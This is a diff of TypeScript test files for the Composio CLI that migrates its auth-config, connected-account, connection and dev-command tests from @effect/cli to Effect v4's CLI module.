100 yield* cli(['dev', 'auth-configs', 'list', '--query', 'Custom']);
101 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -111,7 +111,7 @@ describe('CLI: composio dev auth-configs list', () => {
111 layer(TestLive({ baseConfigProvider: testConfigProvider, authConfigsData }))(
112 '[Given] --limit 1 [Then] respects limit',
113 it => {
114 - it.scoped('respects limit', () =>
114 + it.effect('respects limit', () =>
115 Effect.gen(function* () {
116 yield* cli(['dev', 'auth-configs', 'list', '--limit', '1']);
117 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -124,7 +124,7 @@ describe('CLI: composio dev auth-configs list', () => {
124 );
125
126 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
127 - it.scoped('warns user to login', () =>
127 + it.effect('warns user to login', () =>
128 Effect.gen(function* () {
129 yield* cli(['dev', 'auth-configs', 'list']);
130 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -138,7 +138,7 @@ describe('CLI: composio dev auth-configs list', () => {
138 layer(TestLive({ baseConfigProvider: testConfigProvider }))(
139 '[Given] empty results [Then] shows no auth configs found',
140 it => {
141 - it.scoped('shows no auth configs found', () =>
141 + it.effect('shows no auth configs found', () =>
142 Effect.gen(function* () {
143 yield* cli(['dev', 'auth-configs', 'list']);
144 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -153,7 +153,7 @@ describe('CLI: composio dev auth-configs list', () => {
153 layer(TestLive({ baseConfigProvider: testConfigProvider, authConfigsData }))(
154 '[Given] --toolkits "nonexistent" [Then] shows hint about toolkit slug',
155 it => {
156 - it.scoped('shows toolkit hint', () =>
156 + it.effect('shows toolkit hint', () =>
157 Effect.gen(function* () {
158 yield* cli(['dev', 'auth-configs', 'list', '--toolkits', 'nonexistent']);
159 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/background-update-check.test.ts
+12 -18
@@ -1,6 +1,6 @@
1 -import { Command } from '@effect/cli';
1 import { describe, expect, layer, vi } from '@effect/vitest';
2 import { Effect } from 'effect';
3 +import { Command } from 'effect/unstable/cli';
4 import { $defaultCmd } from 'src/commands/$default.cmd';
5 import { withBackgroundUpdateCheck } from 'src/commands/background-update-check';
6 import { versionCmd } from 'src/commands/version.cmd';
@@ -9,48 +9,42 @@ import { TestLive } from 'test/__utils__';
9 const makeRunner = (start: () => void) => {
10 const version = versionCmd.pipe(Command.withHandler(() => Effect.void));
11 const other = Command.make('other').pipe(Command.withHandler(() => Effect.void));
12 - const root = $defaultCmd.pipe(Command.withSubcommands([version, other]), command =>
13 - withBackgroundUpdateCheck(command, start)
14 - );
15 -
16 - return Command.run(root, {
17 - name: 'composio',
18 - executable: 'composio',
19 - version: '0.0.0-test',
20 - });
12 + const root = withBackgroundUpdateCheck($defaultCmd, [version, other], start);
13 +
14 + return Command.runWith(root, { version: '0.0.0-test' });
15 };
16
17 describe('withBackgroundUpdateCheck', () => {
18 layer(TestLive())(it => {
25 - it.scoped('skips the background request for an explicit version check', () =>
19 + it.effect('skips the background request for an explicit version check', () =>
20 Effect.gen(function* () {
21 const start = vi.fn();
22
29 - yield* makeRunner(start)(['node', 'composio', 'version', '--check']);
23 + yield* makeRunner(start)(['version', '--check']);
24
25 expect(start).not.toHaveBeenCalled();
26 })
27 );
28
35 - it.scoped('uses parsed root options when identifying an explicit version check', () =>
29 + it.effect('uses parsed root options when identifying an explicit version check', () =>
30 Effect.gen(function* () {
31 const start = vi.fn();
32 const run = makeRunner(start);
33
40 - yield* run(['node', 'composio', '--log-level', 'debug', 'version', '--check']);
41 - yield* run(['node', 'composio', '--log-level=debug', 'version', '--check']);
34 + yield* run(['--log-level', 'Debug', 'version', '--check']);
35 + yield* run(['--log-level=Debug', 'version', '--check']);
36
37 expect(start).not.toHaveBeenCalled();
38 })
39 );
40
47 - it.scoped('starts the background request for other parsed commands', () =>
41 + it.effect('starts the background request for other parsed commands', () =>
42 Effect.gen(function* () {
43 const start = vi.fn();
44 const run = makeRunner(start);
45
52 - yield* run(['node', 'composio', 'version']);
53 - yield* run(['node', 'composio', 'other']);
46 + yield* run(['version']);
47 + yield* run(['other']);
48
49 expect(start).toHaveBeenCalledTimes(2);
50 })
ts/packages/cli/test/src/commands/config/config.experimental.cmd.test.ts
+7 -12
@@ -1,13 +1,10 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
2 import * as BunPath from '@effect/platform-bun/BunPath';
5 -import { ValidationError } from '@effect/cli';
3 import { describe, expect, it, layer } from '@effect/vitest';
7 -import { Cause, Effect, Exit, Layer } from 'effect';
4 +import { Cause, Effect, Exit, FileSystem, Layer, Path } from 'effect';
5 import * as tempy from 'tempy';
6 import { discoverSkillRoots } from 'src/effects/discover-skill-roots';
10 -import { cli, MockConsole, TestLive } from 'test/__utils__';
7 +import { cli, TestLive } from 'test/__utils__';
8
9 const TestPlatform = Layer.mergeAll(BunFileSystem.layer, BunPath.layer);
10
@@ -117,20 +114,18 @@ describe('config experimental skill discovery', () => {
114 });
115
116 layer(TestLive())('config experimental state validation', it => {
120 - it.scoped('reports an invalid state through Effect CLI validation', () =>
117 + it.effect('reports an invalid state as a structured domain failure', () =>
118 Effect.gen(function* () {
119 const exit = yield* Effect.exit(cli(['config', 'experimental', 'local_tools', 'sometimes']));
120
121 expect(Exit.isFailure(exit)).toBe(true);
122 if (Exit.isFailure(exit)) {
123 const failure = Cause.squash(exit.cause);
127 - expect(
128 - ValidationError.isValidationError(failure) && ValidationError.isInvalidValue(failure)
129 - ).toBe(true);
124 + expect(failure).toMatchObject({
125 + _tag: 'commands/ConfigOptionError',
126 + message: 'Invalid state "sometimes". Use "on" or "off".',
127 + });
128 }
131 - expect((yield* MockConsole.getLines()).join('\n')).toContain(
132 - 'Invalid state "sometimes". Use "on" or "off".'
133 - );
129 })
130 );
131 });
ts/packages/cli/test/src/commands/connected-accounts/connected-accounts.info.cmd.test.ts
+7 -7
@@ -29,15 +29,15 @@ const connectedAccountsData = {
29 items: testConnectedAccounts,
30 } satisfies TestLiveInput['connectedAccountsData'];
31
32 -const testConfigProvider = ConfigProvider.fromMap(
33 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
34 -).pipe(extendConfigProvider);
32 +const testConfigProvider = ConfigProvider.fromEnv({
33 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
34 +}).pipe(extendConfigProvider);
35
36 describe('CLI: composio dev connected-accounts info', () => {
37 layer(TestLive({ baseConfigProvider: testConfigProvider, connectedAccountsData }))(
38 '[Given] valid ID [Then] shows connected account info',
39 it => {
40 - it.scoped('displays info for existing account', () =>
40 + it.effect('displays info for existing account', () =>
41 Effect.gen(function* () {
42 yield* cli(['dev', 'connected-accounts', 'info', 'con_gmail_active']);
43 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -55,7 +55,7 @@ describe('CLI: composio dev connected-accounts info', () => {
55 layer(TestLive({ baseConfigProvider: testConfigProvider, connectedAccountsData }))(
56 '[Given] nonexistent ID [Then] shows error with hint',
57 it => {
58 - it.scoped('shows error for nonexistent account', () =>
58 + it.effect('shows error for nonexistent account', () =>
59 Effect.gen(function* () {
60 yield* cli(['dev', 'connected-accounts', 'info', 'con_nonexistent']);
61 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -71,7 +71,7 @@ describe('CLI: composio dev connected-accounts info', () => {
71 layer(TestLive({ baseConfigProvider: testConfigProvider, connectedAccountsData }))(
72 '[Given] no ID argument [Then] shows missing argument warning',
73 it => {
74 - it.scoped('warns about missing argument', () =>
74 + it.effect('warns about missing argument', () =>
75 Effect.gen(function* () {
76 yield* cli(['dev', 'connected-accounts', 'info']);
77 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -85,7 +85,7 @@ describe('CLI: composio dev connected-accounts info', () => {
85 );
86
87 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
88 - it.scoped('warns user to login', () =>
88 + it.effect('warns user to login', () =>
89 Effect.gen(function* () {
90 yield* cli(['dev', 'connected-accounts', 'info', 'con_gmail_active']);
91 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/connected-accounts/connected-accounts.link.cmd.test.ts
+29 -25
@@ -1,6 +1,5 @@
1 import { describe, expect, layer } from '@effect/vitest';
2 import { ConfigProvider, Console, Effect } from 'effect';
3 -import { HelpDoc, ValidationError } from '@effect/cli';
3 import { extendConfigProvider } from 'src/services/config';
4 import { cli, TestLive, MockConsole } from 'test/__utils__';
5 import type { TestLiveInput } from 'test/__utils__/services/test-layer';
@@ -53,9 +52,9 @@ const connectedAccountWithCredentialFields = {
52 data: { refresh_token: 'must-not-leak' },
53 };
54
56 -const testConfigProvider = ConfigProvider.fromMap(
57 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
58 -).pipe(extendConfigProvider);
55 +const testConfigProvider = ConfigProvider.fromEnv({
56 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
57 +}).pipe(extendConfigProvider);
58
59 const RecordingTerminalUI = TerminalUI.of({
60 capabilities: Effect.succeed(
@@ -127,7 +126,7 @@ describe('CLI: composio dev connected-accounts link', () => {
126 fixture: 'global-test-user-id',
127 })
128 )('[Given] valid toolkit link [Then] creates link and waits (default)', it => {
130 - it.scoped('creates link and waits for ACTIVE', () =>
129 + it.effect('creates link and waits for ACTIVE', () =>
130 Effect.gen(function* () {
131 yield* cli(['link', 'gmail']);
132 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -149,7 +148,7 @@ describe('CLI: composio dev connected-accounts link', () => {
148 fixture: 'global-test-user-id',
149 })
150 )('[Given] --no-browser [Then] waits for ACTIVE without opening the browser', it => {
152 - it.scoped('prints the URL and waits without calling open', () =>
151 + it.effect('prints the URL and waits without calling open', () =>
152 Effect.gen(function* () {
153 yield* cli(['link', 'gmail', '--no-browser']);
154 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -174,7 +173,7 @@ describe('CLI: composio dev connected-accounts link', () => {
173 fixture: 'global-test-user-id',
174 })
175 )('[Given] --list [Then] it shows existing accounts without opening a new link', it => {
177 - it.scoped('lists alias and word_id for existing accounts', () =>
176 + it.effect('lists alias and word_id for existing accounts', () =>
177 Effect.gen(function* () {
178 yield* cli(['link', 'gmail', '--list']);
179 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -197,7 +196,7 @@ describe('CLI: composio dev connected-accounts link', () => {
196 )(
197 '[Given] dev connected-accounts link --list without developer project context [Then] it still uses consumer resolution',
198 it => {
200 - it.scoped('lists connected accounts instead of requiring a developer project', () =>
199 + it.effect('lists connected accounts instead of requiring a developer project', () =>
200 Effect.gen(function* () {
201 yield* cli(['dev', 'connected-accounts', 'link', 'gmail', '--list']);
202 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -219,7 +218,7 @@ describe('CLI: composio dev connected-accounts link', () => {
218 terminalUI: RecordingTerminalUI,
219 })
220 )('[Given] --no-wait [Then] emits a forced JSON payload for merged-stream shells', it => {
222 - it.scoped('forces the pending JSON payload through output()', () =>
221 + it.effect('forces the pending JSON payload through output()', () =>
222 Effect.gen(function* () {
223 yield* cli(['link', 'gmail', '--no-wait']);
224 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -248,7 +247,7 @@ describe('CLI: composio dev connected-accounts link', () => {
247 terminalUI: RecordingTerminalUI,
248 })
249 )('[Given] --no-wait [Then] stdout remains JSON-only', it => {
251 - it.scoped('does not emit the raw redirect URL before the pending JSON payload', () =>
250 + it.effect('does not emit the raw redirect URL before the pending JSON payload', () =>
251 Effect.gen(function* () {
252 yield* cli(['link', 'gmail', '--no-wait']);
253 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -270,7 +269,7 @@ describe('CLI: composio dev connected-accounts link', () => {
269 });
270
271 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
273 - it.scoped('warns user to login', () =>
272 + it.effect('warns user to login', () =>
273 Effect.gen(function* () {
274 yield* cli(['link', 'gmail']);
275 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -287,14 +286,19 @@ describe('CLI: composio dev connected-accounts link', () => {
286 fixture: 'global-test-user-id',
287 })
288 )('[Given] a blank --alias [Then] fails with a CLI validation error', it => {
290 - it.scoped('reports the invalid option value before making a link request', () =>
289 + // v4 migration note: `effect/unstable/cli`'s `CliError.InvalidValue` is a fixed
290 + // flag/argument-name-and-value struct produced only by the parser; it can't carry a
291 + // freeform message. This business-level validation (only knowable after parsing) is
292 + // now a plain typed domain error (`LinkInputError`), matching the pattern documented in
293 + // `connected-accounts.link.cmd.ts`.
294 + it.effect('reports the invalid option value before making a link request', () =>
295 Effect.gen(function* () {
296 const error = yield* cli(['link', 'gmail', '--alias', ' ']).pipe(Effect.flip);
297
294 - expect(ValidationError.isValidationError(error)).toBe(true);
295 - if (!ValidationError.isValidationError(error)) return;
296 - expect(ValidationError.isInvalidValue(error)).toBe(true);
297 - expect(HelpDoc.toAnsiText(error.error)).toContain('`--alias` cannot be empty.');
298 + expect(error).toMatchObject({
299 + _tag: 'commands/LinkInputError',
300 + message: '`--alias` cannot be empty.',
301 + });
302 expect(vi.mocked(open)).not.toHaveBeenCalled();
303 })
304 );
@@ -309,7 +313,7 @@ describe('CLI: composio dev connected-accounts link', () => {
313 fixture: 'global-test-user-id',
314 })
315 )('[Given] raw credential fields [Then] --list emits only schema-approved fields', it => {
312 - it.scoped('strips state and data at the response boundary', () =>
316 + it.effect('strips state and data at the response boundary', () =>
317 Effect.gen(function* () {
318 yield* cli(['link', 'gmail', '--list']);
319
@@ -333,7 +337,7 @@ describe('CLI: composio dev connected-accounts link', () => {
337 fixture: 'global-test-user-id',
338 })
339 )('[Given] composio link [Then] works for consumer toolkit linking', it => {
336 - it.scoped('root link works for consumer toolkit linking only', () =>
340 + it.effect('root link works for consumer toolkit linking only', () =>
341 Effect.gen(function* () {
342 yield* cli(['link', 'gmail']);
343 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -360,7 +364,7 @@ describe('CLI: composio dev connected-accounts link', () => {
364 },
365 })
366 )('[Given] unmanaged auth after an org switch [Then] resolves the selected membership', it => {
363 - it.scoped('passes the active org to session info before linking analytics identity', () =>
367 + it.effect('passes the active org to session info before linking analytics identity', () =>
368 Effect.gen(function* () {
369 const userContext = yield* ComposioUserContext;
370 yield* userContext.login('test_api_key', 'org_selected', 'consumer-user-org_selected');
@@ -432,7 +436,7 @@ describe('CLI: composio dev connected-accounts link', () => {
436 fixture: 'global-test-user-id',
437 })
438 )('[Given] --no-wait [Then] outputs valid JSON parseable by jq', it => {
435 - it.scoped('prints JSON with status pending, connected_account_id, redirect_url', () =>
439 + it.effect('prints JSON with status pending, connected_account_id, redirect_url', () =>
440 Effect.gen(function* () {
441 yield* cli(['link', 'gmail', '--no-wait']);
442 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -463,7 +467,7 @@ describe('CLI: composio dev connected-accounts link', () => {
467 )(
468 '[Given] auth-config link returns an incomplete response [Then] logs an error and exits early',
469 it => {
466 - it.scoped('reports the incomplete response instead of waiting with empty values', () =>
470 + it.effect('reports the incomplete response instead of waiting with empty values', () =>
471 Effect.gen(function* () {
472 yield* cli(['link', 'gmail']);
473 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -483,7 +487,7 @@ describe('CLI: composio dev connected-accounts link', () => {
487 fixture: 'global-test-user-id',
488 })
489 )('[Given] default (wait) [Then] waits for ACTIVE and outputs success JSON for jq', it => {
486 - it.scoped(
490 + it.effect(
491 'prints JSON with status success, message, connected_account_id, toolkit, redirect_url',
492 () =>
493 Effect.gen(function* () {
@@ -513,7 +517,7 @@ describe('CLI: composio dev connected-accounts link', () => {
517 fixture: 'global-test-user-id',
518 })
519 )('[Given] --alias [Then] it passes alias during link creation', it => {
516 - it.scoped('sends alias to the tool router link API instead of patching afterward', () =>
520 + it.effect('sends alias to the tool router link API instead of patching afterward', () =>
521 Effect.gen(function* () {
522 yield* cli(['link', 'gmail', '--alias', 'work', '--no-wait']);
523 expect(toolRouterCreateSpy).toHaveBeenCalledWith(
@@ -552,7 +556,7 @@ describe('CLI: composio dev connected-accounts link', () => {
556 )(
557 '[Given] an existing active account and no --alias [Then] link blocks the second connected account',
558 it => {
555 - it.scoped('fails locally and tells the user to pass --alias', () =>
559 + it.effect('fails locally and tells the user to pass --alias', () =>
560 Effect.gen(function* () {
561 yield* cli(['link', 'gmail']);
562 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -576,7 +580,7 @@ describe('CLI: composio dev connected-accounts link', () => {
580 fixture: 'global-test-user-id',
581 })
582 )('[Given] a duplicate alias [Then] link explains how to use the existing account', it => {
579 - it.scoped('detects the exact existing alias before creating a link', () =>
583 + it.effect('detects the exact existing alias before creating a link', () =>
584 Effect.gen(function* () {
585 yield* cli(['link', 'gmail', '--alias', 'work']);
586 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/connected-accounts/connected-accounts.list.cmd.test.ts
+17 -17
@@ -64,19 +64,19 @@ const connectedAccountsData = {
64 items: testConnectedAccounts,
65 } satisfies TestLiveInput['connectedAccountsData'];
66
67 -const testDevConfigProvider = ConfigProvider.fromMap(
68 - new Map([
69 - ['COMPOSIO_USER_API_KEY', 'test_api_key'],
70 - ['COMPOSIO_ORG_ID', 'dev_org_test'],
71 - ['COMPOSIO_PROJECT_ID', 'dev_project_test'],
72 - ])
73 -).pipe(extendConfigProvider);
67 +const testDevConfigProvider = ConfigProvider.fromEnv({
68 + env: {
69 + COMPOSIO_USER_API_KEY: 'test_api_key',
70 + COMPOSIO_ORG_ID: 'dev_org_test',
71 + COMPOSIO_PROJECT_ID: 'dev_project_test',
72 + },
73 +}).pipe(extendConfigProvider);
74
75 describe('CLI: composio dev connected-accounts list', () => {
76 layer(TestLive({ baseConfigProvider: testDevConfigProvider, connectedAccountsData }))(
77 '[Given] no flags [Then] lists all connected accounts',
78 it => {
79 - it.scoped('lists all connected accounts with table', () =>
79 + it.effect('lists all connected accounts with table', () =>
80 Effect.gen(function* () {
81 const userContext = yield* ComposioUserContext;
82 yield* userContext.login('test_api_key', 'org_test');
@@ -96,7 +96,7 @@ describe('CLI: composio dev connected-accounts list', () => {
96 layer(TestLive({ baseConfigProvider: testDevConfigProvider, connectedAccountsData }))(
97 '[Given] --toolkits "gmail" [Then] lists only gmail connected accounts',
98 it => {
99 - it.scoped('filters by toolkit', () =>
99 + it.effect('filters by toolkit', () =>
100 Effect.gen(function* () {
101 const userContext = yield* ComposioUserContext;
102 yield* userContext.login('test_api_key', 'org_test');
@@ -115,7 +115,7 @@ describe('CLI: composio dev connected-accounts list', () => {
115 layer(TestLive({ baseConfigProvider: testDevConfigProvider, connectedAccountsData }))(
116 '[Given] --user-id "default" [Then] lists only default user accounts',
117 it => {
118 - it.scoped('filters by user ID', () =>
118 + it.effect('filters by user ID', () =>
119 Effect.gen(function* () {
120 const userContext = yield* ComposioUserContext;
121 yield* userContext.login('test_api_key', 'org_test');
@@ -135,7 +135,7 @@ describe('CLI: composio dev connected-accounts list', () => {
135 layer(TestLive({ baseConfigProvider: testDevConfigProvider, connectedAccountsData }))(
136 '[Given] --status ACTIVE [Then] lists only active accounts',
137 it => {
138 - it.scoped('filters by status', () =>
138 + it.effect('filters by status', () =>
139 Effect.gen(function* () {
140 const userContext = yield* ComposioUserContext;
141 yield* userContext.login('test_api_key', 'org_test');
@@ -155,7 +155,7 @@ describe('CLI: composio dev connected-accounts list', () => {
155 layer(TestLive({ baseConfigProvider: testDevConfigProvider, connectedAccountsData }))(
156 '[Given] --limit 1 [Then] respects limit',
157 it => {
158 - it.scoped('respects limit', () =>
158 + it.effect('respects limit', () =>
159 Effect.gen(function* () {
160 const userContext = yield* ComposioUserContext;
161 yield* userContext.login('test_api_key', 'org_test');
@@ -172,7 +172,7 @@ describe('CLI: composio dev connected-accounts list', () => {
172 layer(TestLive({ baseConfigProvider: testDevConfigProvider }))(
173 '[Given] no org in user context [Then] warns user to login',
174 it => {
175 - it.scoped('warns user to login', () =>
175 + it.effect('warns user to login', () =>
176 Effect.gen(function* () {
177 const error = yield* Effect.flip(cli(['dev', 'connected-accounts', 'list']));
178 expect(String(error)).toContain('No current org configured');
@@ -182,7 +182,7 @@ describe('CLI: composio dev connected-accounts list', () => {
182 );
183
184 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
185 - it.scoped('warns user to login', () =>
185 + it.effect('warns user to login', () =>
186 Effect.gen(function* () {
187 yield* cli(['dev', 'connected-accounts', 'list']);
188 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -196,7 +196,7 @@ describe('CLI: composio dev connected-accounts list', () => {
196 layer(TestLive({ baseConfigProvider: testDevConfigProvider }))(
197 '[Given] empty results [Then] shows no connected accounts found',
198 it => {
199 - it.scoped('shows no connected accounts found', () =>
199 + it.effect('shows no connected accounts found', () =>
200 Effect.gen(function* () {
201 const userContext = yield* ComposioUserContext;
202 yield* userContext.login('test_api_key', 'org_test');
@@ -213,7 +213,7 @@ describe('CLI: composio dev connected-accounts list', () => {
213 layer(TestLive({ baseConfigProvider: testDevConfigProvider, connectedAccountsData }))(
214 '[Given] --toolkits "nonexistent" [Then] shows hint about toolkit slug',
215 it => {
216 - it.scoped('shows toolkit hint', () =>
216 + it.effect('shows toolkit hint', () =>
217 Effect.gen(function* () {
218 const userContext = yield* ComposioUserContext;
219 yield* userContext.login('test_api_key', 'org_test');
@@ -244,7 +244,7 @@ describe('CLI: composio dev connected-accounts list', () => {
244 connectedAccountsData: { items: unknownStatusAccounts },
245 })
246 )('[Given] server returns unknown status [Then] warns and degrades instead of crashing', it => {
247 - it.scoped('does not crash on unknown status', () =>
247 + it.effect('does not crash on unknown status', () =>
248 Effect.gen(function* () {
249 const userContext = yield* ComposioUserContext;
250 yield* userContext.login('test_api_key', 'org_test');
ts/packages/cli/test/src/commands/connected-accounts/connected-accounts.whoami.cmd.test.ts
+8 -8
@@ -46,15 +46,15 @@ const connectedAccountsData = {
46 items: testConnectedAccounts,
47 } satisfies TestLiveInput['connectedAccountsData'];
48
49 -const testConfigProvider = ConfigProvider.fromMap(
50 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
51 -).pipe(extendConfigProvider);
49 +const testConfigProvider = ConfigProvider.fromEnv({
50 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
51 +}).pipe(extendConfigProvider);
52
53 describe('CLI: composio dev connected-accounts whoami', () => {
54 layer(TestLive({ baseConfigProvider: testConfigProvider, connectedAccountsData }))(
55 '[Given] active connection [Then] shows account details',
56 it => {
57 - it.scoped('displays whoami for active connection', () =>
57 + it.effect('displays whoami for active connection', () =>
58 Effect.gen(function* () {
59 yield* cli(['dev', 'connected-accounts', 'whoami', 'con_gmail_active']);
60 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -72,7 +72,7 @@ describe('CLI: composio dev connected-accounts whoami', () => {
72 layer(TestLive({ baseConfigProvider: testConfigProvider, connectedAccountsData }))(
73 '[Given] expired connection [Then] shows details with status warning',
74 it => {
75 - it.scoped('shows warning for non-ACTIVE connection', () =>
75 + it.effect('shows warning for non-ACTIVE connection', () =>
76 Effect.gen(function* () {
77 yield* cli(['dev', 'connected-accounts', 'whoami', 'con_github_expired']);
78 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -89,7 +89,7 @@ describe('CLI: composio dev connected-accounts whoami', () => {
89 layer(TestLive({ baseConfigProvider: testConfigProvider, connectedAccountsData }))(
90 '[Given] nonexistent ID [Then] shows error with hint',
91 it => {
92 - it.scoped('shows error for nonexistent account', () =>
92 + it.effect('shows error for nonexistent account', () =>
93 Effect.gen(function* () {
94 yield* cli(['dev', 'connected-accounts', 'whoami', 'con_nonexistent']);
95 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -105,7 +105,7 @@ describe('CLI: composio dev connected-accounts whoami', () => {
105 layer(TestLive({ baseConfigProvider: testConfigProvider, connectedAccountsData }))(
106 '[Given] no ID argument [Then] shows missing argument warning',
107 it => {
108 - it.scoped('warns about missing argument', () =>
108 + it.effect('warns about missing argument', () =>
109 Effect.gen(function* () {
110 yield* cli(['dev', 'connected-accounts', 'whoami']);
111 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -119,7 +119,7 @@ describe('CLI: composio dev connected-accounts whoami', () => {
119 );
120
121 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
122 - it.scoped('warns user to login', () =>
122 + it.effect('warns user to login', () =>
123 Effect.gen(function* () {
124 yield* cli(['dev', 'connected-accounts', 'whoami', 'con_gmail_active']);
125 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/connections/connections.list.cmd.test.ts
+10 -10
@@ -84,9 +84,9 @@ const connectedAccountsData = {
84 items: testConnections,
85 } satisfies TestLiveInput['connectedAccountsData'];
86
87 -const testConfigProvider = ConfigProvider.fromMap(
88 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
89 -).pipe(extendConfigProvider);
87 +const testConfigProvider = ConfigProvider.fromEnv({
88 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
89 +}).pipe(extendConfigProvider);
90
91 const terminalUIWithConfirm = (confirmed: boolean) =>
92 TerminalUI.of({
@@ -132,7 +132,7 @@ const terminalUIWithConfirm = (confirmed: boolean) =>
132
133 describe('CLI: composio connections list', () => {
134 layer(TestLive({ baseConfigProvider: testConfigProvider, connectedAccountsData }))(it => {
135 - it.scoped('[Given] no filter [Then] prints connection JSON with aliases for duplicates', () =>
135 + it.effect('[Given] no filter [Then] prints connection JSON with aliases for duplicates', () =>
136 Effect.gen(function* () {
137 const userContext = yield* ComposioUserContext;
138 yield* userContext.login('test_api_key', 'org_test');
@@ -159,7 +159,7 @@ describe('CLI: composio connections list', () => {
159 stdin: { isTTY: true, data: '' },
160 })
161 )(it => {
162 - it.scoped('[Given] interactive stdout [Then] still prints the JSON payload', () =>
162 + it.effect('[Given] interactive stdout [Then] still prints the JSON payload', () =>
163 Effect.gen(function* () {
164 const userContext = yield* ComposioUserContext;
165 yield* userContext.login('test_api_key', 'org_test');
@@ -180,7 +180,7 @@ describe('CLI: composio connections list', () => {
180 });
181
182 layer(TestLive({ baseConfigProvider: testConfigProvider, connectedAccountsData }))(it => {
183 - it.scoped('[Given] --toolkit github [Then] filters the JSON output', () =>
183 + it.effect('[Given] --toolkit github [Then] filters the JSON output', () =>
184 Effect.gen(function* () {
185 const userContext = yield* ComposioUserContext;
186 yield* userContext.login('test_api_key', 'org_test');
@@ -228,7 +228,7 @@ describe('CLI: composio connections list', () => {
228 },
229 })
230 )(it => {
231 - it.scoped('[Given] mixed user scopes [Then] only consumer-project connections are listed', () =>
231 + it.effect('[Given] mixed user scopes [Then] only consumer-project connections are listed', () =>
232 Effect.gen(function* () {
233 const userContext = yield* ComposioUserContext;
234 yield* userContext.login('test_api_key', 'org_test');
@@ -255,7 +255,7 @@ describe('CLI: composio connections remove', () => {
255 terminalUI: terminalUIWithConfirm(true),
256 })
257 )(it => {
258 - it.scoped('[Given] a unique toolkit selector and consent [Then] removes that connection', () =>
258 + it.effect('[Given] a unique toolkit selector and consent [Then] removes that connection', () =>
259 Effect.gen(function* () {
260 confirmedDeleteCalls.length = 0;
261
@@ -282,7 +282,7 @@ describe('CLI: composio connections remove', () => {
282 terminalUI: terminalUIWithConfirm(false),
283 })
284 )(it => {
285 - it.scoped('[Given] consent is denied [Then] does not remove the connection', () =>
285 + it.effect('[Given] consent is denied [Then] does not remove the connection', () =>
286 Effect.gen(function* () {
287 deniedDeleteCalls.length = 0;
288
@@ -309,7 +309,7 @@ describe('CLI: composio connections remove', () => {
309 terminalUI: terminalUIWithConfirm(true),
310 })
311 )(it => {
312 - it.scoped(
312 + it.effect(
313 '[Given] a selector matches multiple accounts [Then] asks for a unique selector',
314 () =>
315 Effect.gen(function* () {
ts/packages/cli/test/src/commands/dev.cmd.test.ts
+9 -9
@@ -3,13 +3,13 @@ import { ConfigProvider, Effect } from 'effect';
3 import { extendConfigProvider } from 'src/services/config';
4 import { cli, MockConsole, TestLive } from 'test/__utils__';
5
6 -const testConfigProvider = ConfigProvider.fromMap(
7 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
8 -).pipe(extendConfigProvider);
6 +const testConfigProvider = ConfigProvider.fromEnv({
7 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
8 +}).pipe(extendConfigProvider);
9
10 describe('CLI: composio dev', () => {
11 layer(TestLive({ baseConfigProvider: testConfigProvider }))(it => {
12 - it.scoped('renders custom help when developer mode is on', () =>
12 + it.effect('renders custom help when developer mode is on', () =>
13 Effect.gen(function* () {
14 yield* cli(['dev', '--help']);
15 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
@@ -27,7 +27,7 @@ describe('CLI: composio dev', () => {
27 cliUserConfig: { developerModeEnabled: false },
28 })
29 )(it => {
30 - it.scoped('renders reduced help when developer mode is off', () =>
30 + it.effect('renders reduced help when developer mode is off', () =>
31 Effect.gen(function* () {
32 yield* cli(['dev', '--help']);
33 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
@@ -38,7 +38,7 @@ describe('CLI: composio dev', () => {
38 })
39 );
40
41 - it.scoped('blocks dev subcommands when developer mode is off', () =>
41 + it.effect('blocks dev subcommands when developer mode is off', () =>
42 Effect.gen(function* () {
43 yield* cli(['dev', 'init']);
44 const output = (yield* MockConsole.getLines({ stripAnsi: true })).join('\n');
